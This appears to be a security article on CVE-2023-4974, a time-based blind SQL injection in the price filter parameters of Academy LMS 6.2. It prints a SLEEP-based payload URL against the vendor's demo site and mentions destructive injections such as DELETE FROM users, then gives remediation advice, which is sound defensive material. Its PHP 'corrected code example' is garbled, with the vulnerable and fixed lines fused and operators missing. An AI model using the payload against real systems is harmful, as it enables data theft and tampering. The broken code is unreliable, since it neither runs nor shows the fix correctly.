Academy LMS 6.2 - SQL Injection

Academy LMS 6.2 – SQL Injection Vulnerability: A Deep Dive into CVE-2023-4974

Academy LMS 6.2, a widely used learning management system developed by Creativeitem, has recently been flagged for a critical SQL Injection vulnerability. This flaw, identified as CVE-2023-4974 and categorized under CWE-89 (Improper Neutralization of Input), exposes the application to severe security risks. The vulnerability lies in the GET parameters price_min and price_max within the /academy/tutor/filter endpoint.

Understanding the Vulnerability

SQL Injection occurs when an attacker injects malicious SQL code into input fields that are not properly sanitized. In this case, the price_min and price_max parameters are directly used in database queries without input validation or parameterization. This allows an attacker to manipulate the underlying SQL query, potentially gaining access to sensitive data, modifying records, or even crashing the database.

As confirmed by exploit author CraCkEr, the vulnerability is time-based blind SQL Injection, meaning the attacker cannot directly observe the result but can infer it through timing differences. This technique relies on the database's response time, which increases when a SLEEP() function is executed.

Exploit Payloads and Attack Mechanism

The following payloads demonstrate how the vulnerability can be exploited:

https://demo.creativeitem.com/academy/tutor/filter?
searched_word=&
searched_tution_class_type[]=1&
price_min=(SELECT(0)FROM(SELECT(SLEEP(7)))a)&
price_max=9&
searched_price_type[]=hourly&
searched_duration[]=0

This payload targets the price_min parameter. The injected SQL code (SELECT(0)FROM(SELECT(SLEEP(7)))a) forces the database to pause for 7 seconds. If the server response time increases significantly, it confirms that the SQL injection is successful. Similarly, the price_max parameter can be exploited with SLEEP(9).

Because the query is executed in a blind manner, attackers can use this timing difference to extract information bit by bit—such as database version, table names, or even user credentials—through iterative testing.

Impact and Risk Assessment

Impact	Description
Database Access	Attackers can retrieve sensitive data such as user credentials, course details, or financial records.
Data Manipulation	Malicious queries can alter or delete records, leading to data integrity loss.
Application Denial of Service	Repeated SLEEP attacks can exhaust server resources, causing system slowdowns or crashes.
Reputation Damage	Public exposure of a vulnerability can erode trust in the platform and impact business continuity.

Real-World Use Cases and Attack Scenarios

• Information Gathering: An attacker could use time-based injection to determine the database version or the existence of specific tables.
• Privilege Escalation: By extracting user data from the database, attackers may identify admin accounts or access tokens.
• Backdoor Creation: Malicious SQL can insert new user records with elevated privileges, creating persistent access.
• Database Corruption: Injecting DELETE FROM users or similar commands could erase critical data.

Security Best Practices and Remediation

To prevent such vulnerabilities, developers must follow secure coding practices:

• Input Validation: Validate all user inputs against expected formats (e.g., numeric ranges).
• Parameterized Queries: Use prepared statements to separate SQL logic from user input.
• Escape Special Characters: Sanitize inputs to prevent SQL injection through mysqli_real_escape_string() or equivalent.
• Rate Limiting: Implement throttling on endpoints to prevent abuse of time-based attacks.
• Logging and Monitoring: Track suspicious queries and anomalies in request timing.

Corrected Code Example (Secure Implementation)

Instead of directly using user input in SQL queries, developers should use parameterized queries. Here’s an example in PHP using mysqli:

// Vulnerable approach
$query = "SELECT * FROM tutors WHERE price_min >= $price_min AND price_max prepare("SELECT * FROM tutors WHERE price_min >= ? AND price_max bind_param("dd", $price_min, $price_max);
$stmt->execute();
$result = $stmt->get_result();

This secure implementation ensures that user inputs are treated as data, not executable code. The bind_param() function binds the variables safely, preventing SQL injection.

Conclusion

The CVE-2023-4974 vulnerability in Academy LMS 6.2 serves as a stark reminder of the dangers of improper input handling. Even seemingly innocuous parameters like price_min and price_max can become entry points for sophisticated attacks. Organizations using this or similar LMS platforms must prioritize patching, code review, and continuous security monitoring.

As cybersecurity experts, we must advocate for proactive defense: never trust user input. Implementing robust input validation, using parameterized queries, and applying defense-in-depth strategies are not optional—they are essential.